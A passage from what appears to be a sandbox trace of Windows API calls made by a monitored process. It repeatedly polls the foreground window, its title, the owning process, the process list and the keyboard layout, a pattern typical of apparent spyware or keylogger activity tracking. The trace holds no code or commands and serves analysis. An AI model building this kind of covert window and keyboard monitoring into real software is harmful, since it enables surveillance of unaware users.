hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0210.242] GetForegroundWindow () returned 0x101a2 [0210.242] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.718] GetForegroundWindow () returned 0x101a2 [0211.718] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.781] GetForegroundWindow () returned 0x101a2 [0211.781] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.843] GetForegroundWindow () returned 0x100f6 [0211.843] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0211.843] EnumProcesses (in: lpidProcess=0x243605c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x243605c, lpcbNeeded=0x4f8f87c) returned 1 [0211.844] GetLastError () returned 0x0 [0211.844] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0211.848] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0211.848] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0211.906] GetForegroundWindow () returned 0x101a2 [0211.906] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0211.906] EnumProcesses (in: lpidProcess=0x2447530, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2447530, lpcbNeeded=0x4f8f87c) returned 1 [0211.906] GetLastError () returned 0x0 [0211.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0211.911] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0211.911] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0211.968] GetForegroundWindow () returned 0x101a2 [0211.968] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.030] GetForegroundWindow () returned 0x101a2 [0212.030] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.093] GetForegroundWindow () returned 0x101a2 [0212.093] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.164] GetForegroundWindow () returned 0x100f6 [0212.164] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0212.164] EnumProcesses (in: lpidProcess=0x245920c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x245920c, lpcbNeeded=0x4f8f87c) returned 1 [0212.164] GetLastError () returned 0x0 [0212.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0212.169] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0212.169] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0212.218] GetForegroundWindow () returned 0x101a2 [0212.218] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0212.218] EnumProcesses (in: lpidProcess=0x246a6e0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x246a6e0, lpcbNeeded=0x4f8f87c) returned 1 [0212.218] GetLastError () returned 0x0 [0212.218] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0212.222] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0212.222] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.280] GetForegroundWindow () returned 0x101a2 [0212.280] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.342] GetForegroundWindow () returned 0x101a2 [0212.342] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.405] GetForegroundWindow () returned 0x101a2 [0212.405] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.467] GetForegroundWindow () returned 0x100f6 [0212.467] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0212.467] EnumProcesses (in: lpidProcess=0x247c410, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247c410, lpcbNeeded=0x4f8f87c) returned 1 [0212.468] GetLastError () returned 0x0 [0212.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543050, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0212.472] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0212.472] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0212.530] GetForegroundWindow () returned 0x101a2 [0212.530] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0212.530] EnumProcesses (in: lpidProcess=0x248d8e4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248d8e4, lpcbNeeded=0x4f8f87c) returned 1 [0212.530] GetLastError () returned 0x0 [0212.531] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0212.535] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0212.535] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.593] GetForegroundWindow () returned 0x101a2 [0212.593] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.654] GetForegroundWindow () returned 0x101a2 [0212.654] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.717] GetForegroundWindow () returned 0x101a2 [0212.717] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.779] GetForegroundWindow () returned 0x100f6 [0212.779] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0212.779] EnumProcesses (in: lpidProcess=0x249f5c0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249f5c0, lpcbNeeded=0x4f8f87c) returned 1 [0212.780] GetLastError () returned 0x0 [0212.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583090, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0212.783] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0212.783] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0212.841] GetForegroundWindow () returned 0x101a2 [0212.841] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0212.841] EnumProcesses (in: lpidProcess=0x24b0a94, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b0a94, lpcbNeeded=0x4f8f87c) returned 1 [0212.842] GetLastError () returned 0x0 [0212.842] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30b0, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0212.845] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0212.845] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.904] GetForegroundWindow () returned 0x101a2 [0212.904] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0212.966] GetForegroundWindow () returned 0x101a2 [0212.966] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.029] GetForegroundWindow () returned 0x101a2 [0213.029] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.095] GetForegroundWindow () returned 0x100f6 [0213.095] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0213.096] EnumProcesses (in: lpidProcess=0x24c2770, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c2770, lpcbNeeded=0x4f8f87c) returned 1 [0213.096] GetLastError () returned 0x0 [0213.096] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30d0, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0213.100] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0213.100] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0213.153] GetForegroundWindow () returned 0x101a2 [0213.153] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0213.153] EnumProcesses (in: lpidProcess=0x24d3c44, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d3c44, lpcbNeeded=0x4f8f87c) returned 1 [0213.154] GetLastError () returned 0x0 [0213.154] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30f0, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0213.157] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0213.157] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.216] GetForegroundWindow () returned 0x101a2 [0213.216] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.278] GetForegroundWindow () returned 0x101a2 [0213.278] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.341] GetForegroundWindow () returned 0x101a2 [0213.341] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.403] GetForegroundWindow () returned 0x100f6 [0213.403] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0213.403] EnumProcesses (in: lpidProcess=0x24e5974, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e5974, lpcbNeeded=0x4f8f87c) returned 1 [0213.404] GetLastError () returned 0x0 [0213.404] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603110, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0213.408] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0213.408] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0213.465] GetForegroundWindow () returned 0x101a2 [0213.466] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0213.466] EnumProcesses (in: lpidProcess=0x24f6e48, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f6e48, lpcbNeeded=0x4f8f87c) returned 1 [0213.466] GetLastError () returned 0x0 [0213.466] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623130, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0213.469] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0213.469] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.528] GetForegroundWindow () returned 0x101a2 [0213.528] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.590] GetForegroundWindow () returned 0x101a2 [0213.590] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.653] GetForegroundWindow () returned 0x101a2 [0213.653] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.716] GetForegroundWindow () returned 0x100f6 [0213.716] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0213.716] EnumProcesses (in: lpidProcess=0x2508b24, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2508b24, lpcbNeeded=0x4f8f87c) returned 1 [0213.716] GetLastError () returned 0x0 [0213.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0213.732] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0213.732] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0213.793] GetForegroundWindow () returned 0x101a2 [0213.793] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0213.793] EnumProcesses (in: lpidProcess=0x23845bc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23845bc, lpcbNeeded=0x4f8f87c) returned 1 [0213.794] GetLastError () returned 0x0 [0213.795] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0213.798] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0213.799] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.856] GetForegroundWindow () returned 0x101a2 [0213.856] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.918] GetForegroundWindow () returned 0x101a2 [0213.918] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0213.980] GetForegroundWindow () returned 0x101a2 [0213.980] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.043] GetForegroundWindow () returned 0x100f6 [0214.043] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0214.043] EnumProcesses (in: lpidProcess=0x2396298, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2396298, lpcbNeeded=0x4f8f87c) returned 1 [0214.043] GetLastError () returned 0x0 [0214.044] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0214.047] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0214.047] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0214.105] GetForegroundWindow () returned 0x101a2 [0214.105] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0214.105] EnumProcesses (in: lpidProcess=0x23a776c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a776c, lpcbNeeded=0x4f8f87c) returned 1 [0214.106] GetLastError () returned 0x0 [0214.106] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0214.109] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0214.109] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.168] GetForegroundWindow () returned 0x101a2 [0214.168] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.230] GetForegroundWindow () returned 0x101a2 [0214.230] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.292] GetForegroundWindow () returned 0x101a2 [0214.292] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.355] GetForegroundWindow () returned 0x100f6 [0214.355] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0214.355] EnumProcesses (in: lpidProcess=0x23b949c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b949c, lpcbNeeded=0x4f8f87c) returned 1 [0214.355] GetLastError () returned 0x0 [0214.356] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0214.360] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0214.360] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0214.418] GetForegroundWindow () returned 0x101a2 [0214.418] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0214.418] EnumProcesses (in: lpidProcess=0x23ca970, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ca970, lpcbNeeded=0x4f8f87c) returned 1 [0214.419] GetLastError () returned 0x0 [0214.419] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0214.425] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0214.426] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.480] GetForegroundWindow () returned 0x101a2 [0214.480] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.542] GetForegroundWindow () returned 0x101a2 [0214.542] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.604] GetForegroundWindow () returned 0x101a2 [0214.604] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.667] GetForegroundWindow () returned 0x100f6 [0214.667] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0214.667] EnumProcesses (in: lpidProcess=0x23dc64c, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23dc64c, lpcbNeeded=0x4f8f87c) returned 1 [0214.667] GetLastError () returned 0x0 [0214.668] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0214.672] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0214.672] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0214.730] GetForegroundWindow () returned 0x101a2 [0214.730] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0214.730] EnumProcesses (in: lpidProcess=0x23edb20, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23edb20, lpcbNeeded=0x4f8f87c) returned 1 [0214.731] GetLastError () returned 0x0 [0214.733] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0214.737] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0214.737] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.792] GetForegroundWindow () returned 0x101a2 [0214.792] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.854] GetForegroundWindow () returned 0x101a2 [0214.854] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.916] GetForegroundWindow () returned 0x101a2 [0214.917] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0214.979] GetForegroundWindow () returned 0x100f6 [0214.979] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0214.979] EnumProcesses (in: lpidProcess=0x23ff7fc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ff7fc, lpcbNeeded=0x4f8f87c) returned 1 [0214.979] GetLastError () returned 0x0 [0214.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0214.984] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0214.984] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0215.041] GetForegroundWindow () returned 0x101a2 [0215.041] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0215.041] EnumProcesses (in: lpidProcess=0x2410cd0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2410cd0, lpcbNeeded=0x4f8f87c) returned 1 [0215.042] GetLastError () returned 0x0 [0215.042] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8be8) returned 0x0 [0215.046] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0215.046] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.103] GetForegroundWindow () returned 0x101a2 [0215.103] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.166] GetForegroundWindow () returned 0x101a2 [0215.166] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.228] GetForegroundWindow () returned 0x101a2 [0215.228] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.292] GetForegroundWindow () returned 0x100f6 [0215.292] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0215.292] EnumProcesses (in: lpidProcess=0x2422a00, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2422a00, lpcbNeeded=0x4f8f87c) returned 1 [0215.293] GetLastError () returned 0x0 [0215.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8b68) returned 0x0 [0215.298] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0215.298] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0215.353] GetForegroundWindow () returned 0x101a2 [0215.353] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0215.353] EnumProcesses (in: lpidProcess=0x2433dfc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2433dfc, lpcbNeeded=0x4f8f87c) returned 1 [0215.354] GetLastError () returned 0x0 [0215.354] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8b68) returned 0x0 [0215.359] GetKeyboardLayout (idThread=0x760) returned 0x4090409 [0215.359] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.416] GetForegroundWindow () returned 0x101a2 [0215.416] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.478] GetForegroundWindow () returned 0x101a2 [0215.478] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.540] GetForegroundWindow () returned 0x101a2 [0215.540] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19 [0215.603] GetForegroundWindow () returned 0x100f6 [0215.603] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568 [0215.603] EnumProcesses (in: lpidProcess=0x2445a00, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2445a00, lpcbNeeded=0x4f8f87c) returned 1 [0215.603] GetLastError () returned 0x0 [0215.604] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8b68) returned 0x0 [0215.607] GetKeyboardLayout (idThread=0x568) returned 0x4090409 [0215.607] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10 [0215.665] GetForegroundWindow () returned 0x101a2 [0215.665] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760 [0215.665] EnumProcesses (in: lpidProcess=0x2456dfc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2456dfc, lpcbNeeded=0x4f8f87c) returned 1 [0215.666] GetLastError () returned 0x0 [0215.666] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34e2ff0, 